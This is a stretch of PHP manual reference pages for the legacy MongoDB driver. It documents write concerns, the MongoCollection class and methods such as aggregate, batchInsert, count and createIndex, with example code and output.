Parameters

w

The write concern. This may be an integer denoting the number of servers required to acknowledge the write, or a string mode (e.g. "majority").

wtimeout

The maximum number of milliseconds to wait for the server to satisfy the write concern.

Return Values

Returns TRUE on success, or FALSE otherwise.

Errors/Exceptions

Emits E_WARNING if the w parameter is not an integer or string value.

Examples

Example #1 MongoDB::setWriteConcern() example

<?php

$mc = new MongoClient('mongodb://rs1.example.com,rs2.example.com');
$db = $mc->selectDB('test');

// Require that the majority of servers in the replica set acknowledge writes
// within three seconds.
$db->setWriteConcern('majority', 3000);
?>

See Also

  • The write concern documentation.
  • MongoDB::getWriteConcern() - Get the write concern for this database

User Contributed Notes

There are no user contributed notes for this page.


The name of this database

  • « MongoDB::setWriteConcern
  • MongoCollection »
  • PHP Manual
  • MongoDB
  • The name of this database

MongoDB::__toString

(PECL mongo >=0.9.0)

MongoDB::__toString — The name of this database

Description

public string MongoDB::__toString ( void )

Parameters

This function has no parameters.

Return Values

Returns this database's name.

User Contributed Notes

There are no user contributed notes for this page.


The MongoCollection class

(PECL mongo >=0.9.0)

Introduction

Represents a MongoDB collection.

Collection names can use any character in the ASCII set. Some valid collection names are "", "...", "my collection", and "*&#@".

User-defined collection names cannot contain the $ symbol. There are certain system collections which use a $ in their names (e.g., local.oplog.$main), but it is a reserved character. If you attempt to create and use a collection with a $ in the name, MongoDB will assert.

Class synopsis

MongoCollection {
/* Constants */
const int ASCENDING = 1 ;
const int DESCENDING = -1 ;
/* Fields */
public MongoDB $db = NULL ;
public integer $w ;
public integer $wtimeout ;
/* Methods */
public array aggregate ( array $pipeline [, array $options ] )
public MongoCommandCursor aggregateCursor ( array $command [, array $options ] )
public mixed batchInsert ( array $a [, array $options = array() ] )
public __construct ( MongoDB $db , string $name )
public int count ([ array $query = array() [, int $limit = 0 [, int $skip = 0 ]]] )
public array createDBRef ( mixed $document_or_id )
public bool createIndex ( array $keys [, array $options = array() ] )
public array deleteIndex ( string|array $keys )
public array deleteIndexes ( void )
public array distinct ( string $key [, array $query ] )
public array drop ( void )
public bool ensureIndex ( string|array $key|keys [, array $options = array() ] )
public MongoCursor find ([ array $query = array() [, array $fields = array() ]] )
public array findAndModify ( array $query [, array $update [, array $fields [, array $options ]]] )
 public array findOne
  ([ array $query = array()
 [, array $fields = array()
 [, array $options = array()
]]] )
public MongoCollection __get ( string $name )
public array getDBRef ( array $ref )
public array getIndexInfo ( void )
public string getName ( void )
public array getReadPreference ( void )
public bool getSlaveOkay ( void )
public array getWriteConcern ( void )
public array group ( mixed $keys , array $initial , MongoCode $reduce [, array $options = array() ] )
public bool|array insert ( array|object $a [, array $options = array() ] )
public array[MongoCommandCursor] parallelCollectionScan ( int $num_cursors )
public bool|array remove ([ array $criteria = array() [, array $options = array() ]] )
public mixed save ( array|object $a [, array $options = array() ] )
public bool setReadPreference ( string $read_preference [, array $tags ] )
public bool setSlaveOkay ([ bool $ok = true ] )
public bool setWriteConcern ( mixed $w [, int $wtimeout ] )
static protected string toIndexString ( mixed $keys )
public string __toString ( void )
public bool|array update ( array $criteria , array $new_object [, array $options = array() ] )
public array validate ([ bool $scan_data = FALSE ] )
}

Predefined Constants

MongoCollection::ASCENDING
1
Ascending direction for sorts and index creation.
MongoCollection::DESCENDING
-1
Descending direction for sorts and index creation.

Fields

db

The "parent" database for this collection.

w

The number of servers to replicate a change to before returning success. Value is inherited from the parent database. The MongoDB class has a more detailed description of how w works.

wtimeout

The number of milliseconds to wait for $this->w replications to take place. Value is inherited from the parent database. The MongoDB class has a more detailed description of how wtimeout works.

See Also

MongoDB core docs on » collections.

Table of Contents

  • MongoCollection::aggregate — Perform an aggregation using the aggregation framework
  • MongoCollection::aggregateCursor — Execute an aggregation pipeline command and retrieve results through a cursor
  • MongoCollection::batchInsert — Inserts multiple documents into this collection
  • MongoCollection::__construct — Creates a new collection
  • MongoCollection::count — Counts the number of documents in this collection
  • MongoCollection::createDBRef — Creates a database reference
  • MongoCollection::createIndex — Creates an index on the specified field(s) if it does not already exist.
  • MongoCollection::deleteIndex — Deletes an index from this collection
  • MongoCollection::deleteIndexes — Delete all indices for this collection
  • MongoCollection::distinct — Retrieve a list of distinct values for the given key across a collection.
  • MongoCollection::drop — Drops this collection
  • MongoCollection::ensureIndex — Creates an index on the specified field(s) if it does not already exist.
  • MongoCollection::find — Queries this collection, returning a MongoCursor for the result set
  • MongoCollection::findAndModify — Update a document and return it
  • MongoCollection::findOne — Queries this collection, returning a single element
  • MongoCollection::__get — Gets a collection
  • MongoCollection::getDBRef — Fetches the document pointed to by a database reference
  • MongoCollection::getIndexInfo — Returns information about indexes on this collection
  • MongoCollection::getName — Returns this collection's name
  • MongoCollection::getReadPreference — Get the read preference for this collection
  • MongoCollection::getSlaveOkay — Get slaveOkay setting for this collection
  • MongoCollection::getWriteConcern — Get the write concern for this collection
  • MongoCollection::group — Performs an operation similar to SQL's GROUP BY command
  • MongoCollection::insert — Inserts a document into the collection
  • MongoCollection::parallelCollectionScan — Returns an array of cursors to iterator over a full collection in parallel
  • MongoCollection::remove — Remove records from this collection
  • MongoCollection::save — Saves a document to this collection
  • MongoCollection::setReadPreference — Set the read preference for this collection
  • MongoCollection::setSlaveOkay — Change slaveOkay setting for this collection
  • MongoCollection::setWriteConcern — Set the write concern for this database
  • MongoCollection::toIndexString — Converts keys specifying an index to its identifying string
  • MongoCollection::__toString — String representation of this collection
  • MongoCollection::update — Update records based on a given criteria
  • MongoCollection::validate — Validates this collection

User Contributed Notes

There are no user contributed notes for this page.


Perform an aggregation using the aggregation framework

  • « MongoCollection
  • MongoCollection::aggregateCursor »
  • PHP Manual
  • MongoCollection
  • Perform an aggregation using the aggregation framework

MongoCollection::aggregate

(PECL mongo >=1.3.0)

MongoCollection::aggregate — Perform an aggregation using the aggregation framework

Description

public array MongoCollection::aggregate ( array $pipeline [, array $options ] )
public array MongoCollection::aggregate ( array $op [, array $op [, array $... ]] )

The MongoDB » aggregation framework provides a means to calculate aggregated values without having to use MapReduce. While MapReduce is powerful, it is often more difficult than necessary for many simple aggregation tasks, such as totaling or averaging field values.

This method accepts either a variable amount of pipeline operators, or a single array of operators constituting the pipeline.

Parameters

pipeline

An array of pipeline operators.

options

Options for the aggregation command. Valid options include:

  • "allowDiskUse"

    Allow aggregation stages to write to temporary files

  • "cursor"

    Options controlling the creation of the cursor object. This option causes the command to return a result document suitable for constructing a MongoCommandCursor. If you need to use this option, you should consider using MongoCollection::aggregateCursor().

  • "explain"

    Return information on the processing of the pipeline.

  • "maxTimeMS"

    Specifies a cumulative time limit in milliseconds for processing the operation (does not include idle time). If the operation is not completed within the timeout period, a MongoExecutionTimeoutException will be thrown.

Or

op

First pipeline operator.

op

The second pipeline operator.

...

Additional pipeline operators.

Return Values

The result of the aggregation as an array. The ok will be set to 1 on success, 0 on failure.

Errors/Exceptions

When an error occurs an array with the following keys will be returned:

  • errmsg - containing the reason for the failure
  • code - the errorcode of the failure
  • ok - will be set to 0.

Changelog

Version | Description
1.5.0 | Added optional options argument

Examples

Example #1 MongoCollection::aggregate() example

The following example aggregation operation pivots data to create a set of author names grouped by tags applied to an article. Call the aggregation framework by issuing the following command:

<?php
$m = new MongoClient("localhost");
$c = $m->selectDB("examples")->selectCollection("article");
$data = array (
    'title' => 'this is my title',
    'author' => 'bob',
    'posted' => new MongoDate,
    'pageViews' => 5,
    'tags' => array ( 'fun', 'good', 'fun' ),
    'comments' => array (
      array (
        'author' => 'joe',
        'text' => 'this is cool',
      ),
      array (
        'author' => 'sam',
        'text' => 'this is bad',
      ),
    ),
    'other' =>array (
      'foo' => 5,
    ),
);
$d = $c->insert($data, array("w" => 1));

$ops = array(
    array(
        '$project' => array(
            "author" => 1,
            "tags"   => 1,
        )
    ),
    array('$unwind' => '$tags'),
    array(
        '$group' => array(
            "_id" => array("tags" => '$tags'),
            "authors" => array('$addToSet' => '$author'),
        ),
    ),
);
$results = $c->aggregate($ops);
var_dump($results);
?>

The above example will output:

array(2) {
  ["result"]=>
  array(2) {
    [0]=>
    array(2) {
      ["_id"]=>
      array(1) {
        ["tags"]=>
        string(4) "good"
      }
      ["authors"]=>
      array(1) {
        [0]=>
        string(3) "bob"
      }
    }
    [1]=>
    array(2) {
      ["_id"]=>
      array(1) {
        ["tags"]=>
        string(3) "fun"
      }
      ["authors"]=>
      array(1) {
        [0]=>
        string(3) "bob"
      }
    }
  }
  ["ok"]=>
  float(1)
}

The following examples use the » zipcode data set. Use mongoimport to load this data set into your mongod instance.

Example #2 MongoCollection::aggregate() example

To return all states with a population greater than 10 million, use the following aggregation operation:

<?php
$m = new MongoClient("localhost");
$c = $m->selectDB("test")->selectCollection("zips");

$pipeline = array(
    array(
        '$group' => array(
            '_id' => array('state' => '$state', 'city' => '$city' ),
            'pop' => array('$sum' => '$pop' )
        )
    ),
    array(
        '$group' => array(
            '_id' => '$_id.state',
            'avgCityPop' => array('$avg' => '$pop')
        )
    )
);
$out = $c->aggregate($pipeline);
var_dump($out);
?>

The above example will output something similar to:

array(2) {
  ["result"]=>
  array(7) {
    [0]=>
    array(2) {
      ["_id"]=>
      string(2) "TX"
      ["totalPop"]=>
      int(16986510)
    }
    [1]=>
    array(2) {
      ["_id"]=>
      string(2) "PA"
      ["totalPop"]=>
      int(11881643)
    }
    [2]=>
    array(2) {
      ["_id"]=>
      string(2) "NY"
      ["totalPop"]=>
      int(17990455)
    }
    [3]=>
    array(2) {
      ["_id"]=>
      string(2) "IL"
      ["totalPop"]=>
      int(11430602)
    }
    [4]=>
    array(2) {
      ["_id"]=>
      string(2) "CA"
      ["totalPop"]=>
      int(29760021)
    }
    [5]=>
    array(2) {
      ["_id"]=>
      string(2) "OH"
      ["totalPop"]=>
      int(10847115)
    }
    [6]=>
    array(2) {
      ["_id"]=>
      string(2) "FL"
      ["totalPop"]=>
      int(12937926)
    }
  }
  ["ok"]=>
  float(1)
}

Example #3 MongoCollection::aggregate() example

To return the average populations for cities in each state, use the following aggregation operation:

<?php
$m = new MongoClient;
$c = $m->selectDB("test")->selectCollection("zips");

$out = $c->aggregate(
    array(
        '$group' => array(
            '_id' => array('state' => '$state', 'city' => '$city' ),
            'pop' => array('$sum' => '$pop' )
        )
    ),
    array(
        '$group' => array(
            '_id' => '$_id.state',
            'avgCityPop' => array('$avg' => '$pop')
        )
    )
);

var_dump($out);
?>

The above example will output something similar to:

array(2) {
  ["result"]=>
  array(51) {
    [0]=>
    array(2) {
      ["_id"]=>
      string(2) "DC"
      ["avgCityPop"]=>
      float(303450)
    }
    [1]=>
    array(2) {
      ["_id"]=>
      string(2) "DE"
      ["avgCityPop"]=>
      float(14481.913043478)
    }
...
    [49]=>
    array(2) {
      ["_id"]=>
      string(2) "WI"
      ["avgCityPop"]=>
      float(7323.0074850299)
    }
    [50]=>
    array(2) {
      ["_id"]=>
      string(2) "WV"
      ["avgCityPop"]=>
      float(2759.1953846154)
    }
  }
  ["ok"]=>
  float(1)
}

Example #4 MongoCollection::aggregate() with command options

To return information on how the pipeline will be processed we use the explain comman option

<?php
$m = new MongoClient;
$c = $m->selectDB("test")->selectCollection("zips");

$pipeline = array(array(
        '$group' => array(
            '_id' => '$state',
           'totalPop' => array('$sum' => '$pop'),
        ),
    ),
    array(
        '$match' => array('totalPop' => array('$gte' => 10*1000*1000)),
    ),
    array(
        '$sort' => array("totalPop" => -1),
    ),
);

$options = array("explain" => true);
$out = $c->aggregate($pipeline, $options);
var_dump($out);
?>

The above example will output something similar to:

array(2) {
  ["stages"]=>
  array(4) {
    [0]=>
    array(1) {
      ["$cursor"]=>
      array(3) {
        ["query"]=>
        array(0) {
        }
        ["fields"]=>
        array(3) {
          ["pop"]=>
          int(1)
          ["state"]=>
          int(1)
          ["_id"]=>
          int(0)
        }
        ["plan"]=>
        array(4) {
          ["cursor"]=>
          string(11) "BasicCursor"
          ["isMultiKey"]=>
          bool(false)
          ["scanAndOrder"]=>
          bool(false)
          ["allPlans"]=>
          array(1) {
            [0]=>
            array(3) {
              ["cursor"]=>
              string(11) "BasicCursor"
              ["isMultiKey"]=>
              bool(false)
              ["scanAndOrder"]=>
              bool(false)
            }
          }
        }
      }
    }
    [1]=>
    array(1) {
      ["$group"]=>
      array(2) {
        ["_id"]=>
        string(6) "$state"
        ["totalPop"]=>
        array(1) {
          ["$sum"]=>
          string(4) "$pop"
        }
      }
    }
    [2]=>
    array(1) {
      ["$match"]=>
      array(1) {
        ["totalPop"]=>
        array(1) {
          ["$gte"]=>
          int(10000000)
        }
      }
    }
    [3]=>
    array(1) {
      ["$sort"]=>
      array(1) {
        ["sortKey"]=>
        array(1) {
          ["totalPop"]=>
          int(-1)
        }
      }
    }
  }
  ["ok"]=>
  float(1)
}

See Also

  • MongoCollection::aggregateCursor() - Execute an aggregation pipeline command and retrieve results through a cursor
  • The MongoDB » aggregation framework

User Contributed Notes

There are no user contributed notes for this page.


Execute an aggregation pipeline command and retrieve results through a cursor

  • « MongoCollection::aggregate
  • MongoCollection::batchInsert »
  • PHP Manual
  • MongoCollection
  • Execute an aggregation pipeline command and retrieve results through a cursor

MongoCollection::aggregateCursor

(PECL mongo >=1.5.0)

MongoCollection::aggregateCursor — Execute an aggregation pipeline command and retrieve results through a cursor

Description

public MongoCommandCursor MongoCollection::aggregateCursor ( array $command [, array $options ] )

With this method you can execute Aggregation Framework pipelines and retrieve the results through a cursor, instead of getting just one document back as you would with MongoCollection::aggregate(). This method returns a MongoCommandCursor object. This cursor object implements the Iterator interface just like the MongoCursor objects that are returned by the MongoCollection::find() method.

Parameters

pipeline

The Aggregation Framework pipeline to execute.

options

Options for the aggregation command. Valid options include:

  • "allowDiskUse"

    Allow aggregation stages to write to temporary files

  • "cursor"

    It is possible to configure how many initial documents the server should return with the first result set. The default initial batch size is 101. You can change it by adding the batchSize option:

    <?php
    $collection    ->aggregateCursor(
            $pipeline,
        [     "cursor" => [ "batchSize" => 4 ] ]
    );

    This option only configures the size of the first batch. To configure the size of future batches, please use the MongoCommandCursor::batchSize() method on the returned MongoCommandCursor object.

  • "explain"

    Return information on the processing of the pipeline. This option may cause the command to return a result document that is unsuitable for constructing a MongoCommandCursor. If you need to use this option, you should consider using MongoCollection::aggregate().

  • "maxTimeMS"

    Specifies a cumulative time limit in milliseconds for processing the operation (does not include idle time). If the operation is not completed within the timeout period, a MongoExecutionTimeoutException will be thrown.

Return Values

Returns a MongoCommandCursor object. Because this implements the Iterator interface you can iterate over each of the results as returned by the command query. The MongoCommandCursor also implements the MongoCursorInterface interface which adds the MongoCommandCursor::batchSize(), MongoCommandCursor::dead(), MongoCommandCursor::info() methods.

Examples

Example #1 MongoCollection::aggregateCursor() example

Finding all of the distinct values for a key.

<?php
$m = new MongoClient;
$db = $m->test;
$people = $db->people;
$people->drop();

$people->insert(array("name" => "Joe", "points" => 4));
$people->insert(array("name" => "Molly", "points" => 43));
$people->insert(array("name" => "Sally", "points" => 22));
$people->insert(array("name" => "Joe", "points" => 22));
$people->insert(array("name" => "Molly", "points" => 87));

$ages = $people->aggregateCursor( [
        [ '$group' => [ '_id' => '$name', 'points' => [ '$sum' => '$points' ] ] ],
        [ '$sort' => [ 'points' => -1 ] ],
] );

foreach ($ages as $person) {
    echo "{$person['_id']}: {$person['points']}\n";
}

?>

The above example will output something similar to:

Molly: 130
Joe: 26
Sally: 22

Example #2 MongoCollection::aggregateCursor() example with different initial batch size

Finding all of the distinct values for a key.

<?php
$m = new MongoClient;
$db = $m->test;
$people = $db->people;
$people->drop();

/* Insert some sample data */
$people->insert(array("name" => "Joe", "points" => 4));
$people->insert(array("name" => "Molly", "points" => 43));
$people->insert(array("name" => "Sally", "points" => 22));
$people->insert(array("name" => "Joe", "points" => 22));
$people->insert(array("name" => "Molly", "points" => 87));

/* Run the command cursor */
$ages = $people->aggregateCursor(
    [
        [ '$group' => [ '_id' => '$name', 'points' => [ '$sum' => '$points' ] ] ],
        [ '$sort' => [ 'points' => -1 ] ],
    ],
    [ "cursor" => [ "batchSize" => 4 ] ]
);

foreach ($ages as $person) {
    echo "{$person['_id']}: {$person['points']}\n";
}

?>

The above example will output something similar to:

Molly: 130
Joe: 26
Sally: 22

See Also

  • MongoDb::command() - Execute a database command
  • MongoCommandCursor
  • MongoCommandCursor::batchSize() - Limits the number of elements returned in one batch.
  • MongoCollection::aggregate() - Perform an aggregation using the aggregation framework
  • The MongoDB » aggregation framework

User Contributed Notes

There are no user contributed notes for this page.


Inserts multiple documents into this collection

  • « MongoCollection::aggregateCursor
  • MongoCollection::__construct »
  • PHP Manual
  • MongoCollection
  • Inserts multiple documents into this collection

MongoCollection::batchInsert

(PECL mongo >=0.9.0)

MongoCollection::batchInsert — Inserts multiple documents into this collection

Description

public mixed MongoCollection::batchInsert ( array $a [, array $options = array() ] )

Parameters

a

An array of arrays or objects. If any objects are used, they may not have protected or private properties.

Note:

If the documents to insert do not have an _id key or property, a new MongoId instance will be created and assigned to it. See MongoCollection::insert() for additional information on this behavior.

options

An array of options for the batch of insert operations. Currently available options include:

  • "continueOnError"

    Boolean, defaults to FALSE. If set, the database will not stop processing a bulk insert if one fails (eg due to duplicate IDs). This makes bulk insert behave similarly to a series of single inserts, except that calling MongoDB::lastError() will have an error set if any insert fails, not just the last one. If multiple errors occur, only the most recent will be reported by MongoDB::lastError().

    Note:

    Please note that continueOnError affects errors on the database side only. If you try to insert a document that has errors (for example it contains a key with an empty name), then the document is not even transferred to the database as the driver detects this error and bails out. continueOnError has no effect on errors detected in the documents by the driver.

  • "fsync"

    Boolean, defaults to FALSE. If journaling is enabled, it works exactly like "j". If journaling is not enabled, the write operation blocks until it is synced to database files on disk. If TRUE, an acknowledged insert is implied and this option will override setting "w" to 0.

    Note: If journaling is enabled, users are strongly encouraged to use the "j" option instead of "fsync". Do not use "fsync" and "j" simultaneously, as that will result in an error.

  • "j"

    Boolean, defaults to FALSE. Forces the write operation to block until it is synced to the journal on disk. If TRUE, an acknowledged write is implied and this option will override setting "w" to 0.

    Note: If this option is used and journaling is disabled, MongoDB 2.6+ will raise an error and the write will fail; older server versions will simply ignore the option.

  • "socketTimeoutMS"

    This option specifies the time limit, in milliseconds, for socket communication. If the server does not respond within the timeout period, a MongoCursorTimeoutException will be thrown and there will be no way to determine if the server actually handled the write or not. A value of -1 may be specified to block indefinitely. The default value for MongoClient is 30000 (30 seconds).

  • "w"

    See Write Concerns. The default value for MongoClient is 1.

  • "wTimeoutMS"

    This option specifies the time limit, in milliseconds, for write concern acknowledgement. It is only applicable when "w" is greater than 1, as the timeout pertains to replication. If the write concern is not satisfied within the time limit, a MongoCursorException will be thrown. A value of 0 may be specified to block indefinitely. The default value for MongoClient is 10000 (ten seconds).

The following options are deprecated and should no longer be used:

  • "safe"

    Deprecated. Please use the write concern "w" option.

  • "timeout"

    Deprecated alias for "socketTimeoutMS".

  • "wtimeout"

    Deprecated alias for "wTimeoutMS".

Return Values

If the w parameter is set to acknowledge the write, returns an associative array with the status of the inserts ("ok") and any error that may have occurred ("err"). Otherwise, returns TRUE if the batch insert was successfully sent, FALSE otherwise.

Errors/Exceptions

Throws MongoException if any inserted documents are empty or if they contains zero-length keys. Attempting to insert an object with protected and private properties will cause a zero-length key error.

Throws MongoCursorException if the "w" option is set and the write fails.

Throws MongoCursorTimeoutException if the "w" option is set to a value greater than one and the operation takes longer than MongoCursor::$timeout milliseconds to complete. This does not kill the operation on the server, it is a client-side timeout. The operation in MongoCollection::$wtimeout is milliseconds.

Changelog

Version | Description
1.5.0 | Added the "wTimeoutMS" option, which replaces "wtimeout". Emits E_DEPRECATED when "wtimeout" is used. Added the "socketTimeoutMS" option, which replaces "timeout". Emits E_DEPRECATED when "timeout" is used. Emits E_DEPRECATED when "safe" is used.
1.3.4 | Added "wtimeout" option.
1.3.0 | Added "w" option.
1.2.7 | Added "continueOnError" option.
1.0.9 | Added ability to pass integers to the "safe" option, which previously only accepted booleans. Added "fsync" option.
1.0.5 | Added options parameter.

Examples

Example #1 MongoCollection::batchInsert() example

Batch insertion is a quick way to add many elements to the database at once

<?php

$users = array();
for ($i = 0; $i<100; $i++) {
  $users[] = array('username' => 'user'.$i, 'i' => $i);
}

$mongo = new MongoClient();
$collection = $mongo->my_db->users;
$collection->drop();

$collection->batchInsert($users);

foreach ($users as $user) {
  echo $user['_id']."\n"; // populated with instanceof MongoId
}

$users = $collection->find()->sort(array('i' => 1));
foreach ($users as $user) {
    var_dump($user['username']);
}

?>

The above example will output something similar to:

4bf43ac68ead0e1971000000
4bf43ac68ead0e1971010000
4bf43ac68ead0e1971020000
...
string(5) "user1"
string(5) "user2"
string(5) "user3"
...

Example #2 MongoCollection::batchInsert() example with ignoring errors

<?php

$con = new Mongo;
$db = $con->demo;

$doc1 = array(
        '_id' => new MongoId('4cb4ab6d7addf98506010001'),
        'id' => 1,
        'desc' => "ONE",
);
$doc2 = array(
        '_id' => new MongoId('4cb4ab6d7addf98506010002'),
        'id' => 2,
        'desc' => "TWO",
);
$doc3 = array(
        '_id' => new MongoId('4cb4ab6d7addf98506010002'), // same _id as above
        'id' => 3,
        'desc' => "THREE",
);
$doc4 = array(
        '_id' => new MongoId('4cb4ab6d7addf98506010004'),
        'id' => 4,
        'desc' => "FOUR",
);

$c = $db->selectCollection('c');
$c->batchInsert(
    array($doc1, $doc2, $doc3, $doc4),
    array('continueOnError' => true)
);

$docs = $c->find();
foreach ($docs as $doc) {
    var_dump($doc['desc']);
}
?>

The above example will output something similar to:

string(3) "ONE"
string(3) "TWO"
string(4) "FOUR"

See Also

  • MongoCollection::insert() - Inserts a document into the collection
  • MongoCollection::update() - Update records based on a given criteria
  • MongoCollection::find() - Queries this collection, returning a MongoCursor for the result set
  • MongoCollection::remove() - Remove records from this collection
  • MongoDB core docs on » insert.

User Contributed Notes

There are no user contributed notes for this page.


Creates a new collection

  • « MongoCollection::batchInsert
  • MongoCollection::count »
  • PHP Manual
  • MongoCollection
  • Creates a new collection

MongoCollection::__construct

(PECL mongo >=0.9.0)

MongoCollection::__construct — Creates a new collection

Description

public MongoCollection::__construct ( MongoDB $db , string $name )

Parameters

MongoDB db

Parent database.

name

Name for this collection.

Return Values

Returns a new collection object.

Errors/Exceptions

Throws default exception if the collection name is invalid.

User Contributed Notes

There are no user contributed notes for this page.


Counts the number of documents in this collection

  • « MongoCollection::__construct
  • MongoCollection::createDBRef »
  • PHP Manual
  • MongoCollection
  • Counts the number of documents in this collection

MongoCollection::count

(PECL mongo >=0.9.0)

MongoCollection::count — Counts the number of documents in this collection

Description

public int MongoCollection::count ([ array $query = array() [, int $limit = 0 [, int $skip = 0 ]]] )

Parameters

query

Associative array or object with fields to match.

limit

Specifies an upper limit to the number returned.

skip

Specifies a number of results to skip before starting the count.

Return Values

Returns the number of documents matching the query.

Changelog

Version | Description
1.0.7 | Added limit and skip parameters.

Examples

Example #1 MongoCollection::count() example

<?php

$collection->insert(array('x'=>1));
$collection->insert(array('x'=>2));
$collection->insert(array('x'=>3));

var_dump($collection->count());
var_dump($collection->count(array('x'=>1)));

?>

The above example will output something similar to:

int(3)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Creates a database reference

  • « MongoCollection::count
  • MongoCollection::createIndex »
  • PHP Manual
  • MongoCollection
  • Creates a database reference

MongoCollection::createDBRef

(PECL mongo >=0.9.0)

MongoCollection::createDBRef — Creates a database reference

Description

public array MongoCollection::createDBRef ( mixed $document_or_id )

Parameters

document_or_id

If an array or object is given, its _id field will be used as the reference ID. If a MongoId or scalar is given, it will be used as the reference ID.

Return Values

Returns a database reference array.

If an array without an _id field was provided as the document_or_id parameter, NULL will be returned.

Examples

Example #1 MongoCollection::createDBRef() example

<?php

$songs = $db->songs;
$playlists = $db->playlists;

// create a reference to a song
$manamana = $songs->findOne(array('title' => 'Ma na ma na'));
$refToSong = $songs->createDBRef($manamana);

// add the reference to my playlist
$playlists->update(array('username' => 'me'), array('$push' => array('songlist' => $refToSong)));

?>

See Also

  • MongoCollection::getDBRef() - Fetches the document pointed to by a database reference

User Contributed Notes

There are no user contributed notes for this page.


Creates an index on the specified field(s) if it does not already exist.

  • « MongoCollection::createDBRef
  • MongoCollection::deleteIndex »
  • PHP Manual
  • MongoCollection
  • Creates an index on the specified field(s) if it does not already exist.

MongoCollection::createIndex

(PECL mongo >=1.5.0)

MongoCollection::createIndex — Creates an index on the specified field(s) if it does not already exist.

Description

public bool MongoCollection::createIndex ( array $keys [, array $options = array() ] )

Creates an index on the specified field(s) if it does not already exist. Fields may be indexed with a direction (e.g. ascending or descending) or a special type (e.g. text, geospatial, hashed).

Note:

This method will use the » createIndexes database command when communicating with MongoDB 2.6+. For previous database versions, the method will perform an insert operation on the special system.indexes collection.

Parameters

keys

An array specifying the index's fields as its keys. For each field, the value is either the index direction or » index type. If specifying direction, specify 1 for ascending or -1 for descending.

options

An array of options for the index creation. Currently available options include:

  • "unique"

    Specify TRUE to create a unique index. The default value is FALSE. This option applies only to ascending/descending indexes.

    Note:

    When MongoDB indexes a field, if a document does not have a value for the field, a NULL value is indexed. If multiple documents do not contain a field, a unique index will reject all but the first of those documents. The "sparse" option may be used to overcome this, since it will prevent documents without the field from being indexed.

  • "sparse"

    Specify TRUE to create a sparse index, which only indexes documents containing a specified field. The default value is FALSE.

  • "expireAfterSeconds"

    The value of this option should specify the number of seconds after which a document should be considered expired and automatically removed from the collection. This option is only compatible with single-field indexes where the field will contain MongoDate values.

    Note:

    This feature is available in MongoDB 2.2+. See » Expire Data from Collections by Setting TTL for more information.

  • "name"

    A optional name that uniquely identifies the index.

    Note:

    By default, the driver will generate an index name based on the index's field(s) and ordering or type. For example, a compound index array("x" => 1, "y" => -1) would be named "x_1_y_-1" and a geospatial index array("loc" => "2dsphere") would be named "loc_2dsphere". For indexes with many fields, it is possible that the generated name might exceed MongoDB's » limit for index names. The "name" option may be used in that case to supply a shorter name.

  • "socketTimeoutMS"

    This option specifies the time limit, in milliseconds, for socket communication. If the server does not respond within the timeout period, a MongoCursorTimeoutException will be thrown and there will be no way to determine if the server actually handled the write or not. A value of -1 may be specified to block indefinitely. The default value for MongoClient is 30000 (30 seconds).

The following option may be used with MongoDB 2.6+:

  • "maxTimeMS"

    Specifies a cumulative time limit in milliseconds for processing the operation (does not include idle time). If the operation is not completed within the timeout period, a MongoExecutionTimeoutException will be thrown.

The following options may be used with MongoDB versions before 2.8:

  • "dropDups"

    Specify TRUE to force creation of a unique index where the collection may contain duplicate values for a key. MongoDB will index the first occurrence of a key and delete all subsequent documents from the collection that contain a duplicate value for that key. The default value is FALSE.

    Warning

    "dropDups" may delete data from your database. Use with extreme caution.

    Note:

    This option is not supported on MongoDB 2.8+. Index creation will fail if the collection contains duplicate values.

The following options may be used with MongoDB versions before 2.6:

  • "w"

    See Write Concerns. The default value for MongoClient is 1.

  • "wTimeoutMS"

    This option specifies the time limit, in milliseconds, for write concern acknowledgement. It is only applicable when "w" is greater than 1, as the timeout pertains to replication. If the write concern is not satisfied within the time limit, a MongoCursorException will be thrown. A value of 0 may be specified to block indefinitely. The default value for MongoClient is 10000 (ten seconds).

The following options are deprecated and should no longer be used:

  • "safe"

    Deprecated. Please use the write concern "w" option.

  • "timeout"

    Deprecated alias for "socketTimeoutMS".

  • "wtimeout"

    Deprecated alias for "wTimeoutMS".

Return Values

Returns an array containing the status of the index creation. The array contains whether the operation succeeded ("ok"), the number of indexes before and after the operation ("numIndexesBefore" and "numIndexesAfter"), and whether the collection that the index belongs to has been created ("createdCollectionAutomatically"). If the index already existed and did not need to be created, a "note" field may be present in lieu of "numIndexesAfter".

With MongoDB 2.4 and earlier, a status document is only returned if the write concern is at least 1. Otherwise, TRUE is returned. The fields in the status document are different, except for the "ok" field, which signals whether the index creation was successful. Additional fields are described in the documentation for MongoCollection::insert().

Errors/Exceptions

Throws MongoException if the index name is longer than 128 bytes, or if the index specification is not an array.

Throws MongoDuplicateKeyException if the server could not create the unique index due to conflicting documents.

Throws MongoResultException if the server could not create the index due to an error.

Throws MongoCursorException if the "w" option is set and the write fails.

Throws MongoCursorTimeoutException if the "w" option is set to a value greater than one and the operation takes longer than MongoCursor::$timeout milliseconds to complete. This does not kill the operation on the server, it is a client-side timeout. The operation in MongoCollection::$wtimeout is milliseconds.

Examples

Example #1 MongoCollection::createIndex() example

<?php

$c = new MongoCollection($db, 'foo');

// create an index on 'x' ascending
$c->createIndex(array('x' => 1));

// create a unique index on 'y'
$c->createIndex(array('y' => 1), array('unique' => true));

// create a compound index on 'za' ascending and 'zb' descending
$c->createIndex(array('za' => 1, 'zb' => -1));

?>

Example #2 Geospatial Indexing

Mongo supports geospatial indexes, which allow you to search for documents near a given location or within a shape. The following example creates a geospatial index on the "loc" field:

<?php

$collection->createIndex(array('loc' => '2dsphere'));

?>

Example #3 Drop duplicates example

<?php

$collection->insert(array('username' => 'joeschmoe'));
$collection->insert(array('username' => 'joeschmoe'));

/* Index creation fails, since you cannot create a unique index on a field when
 * duplicates exist.
 */
$collection->createIndex(array('username' => 1), array('unique' => 1));

/* MongoDB will one of the conflicting documents and allow the unique index to
 * be created.
 */
$collection->createIndex(array('username' => 1), array('unique' => 1, 'dropDups' => 1));

/* We now have a unique index and subsequent inserts with the same username will
 * fail.
 */
$collection->insert(array('username' => 'joeschmoe'));

?>

See Also

  • MongoCollection::deleteIndex() - Deletes an index from this collection
  • MongoCollection::deleteIndexes() - Delete all indices for this collection
  • The MongoDB » index and » index type documentation.

User Contributed Notes

There are no user contributed notes for this page.


Deletes an index from this collection

  • « MongoCollection::createIndex
  • MongoCollection::deleteIndexes »
  • PHP Manual
  • MongoCollection
  • Deletes an index from this collection

MongoCollection::deleteIndex

(PECL mongo >=0.9.0)

MongoCollection::deleteIndex — Deletes an index from this collection

Description

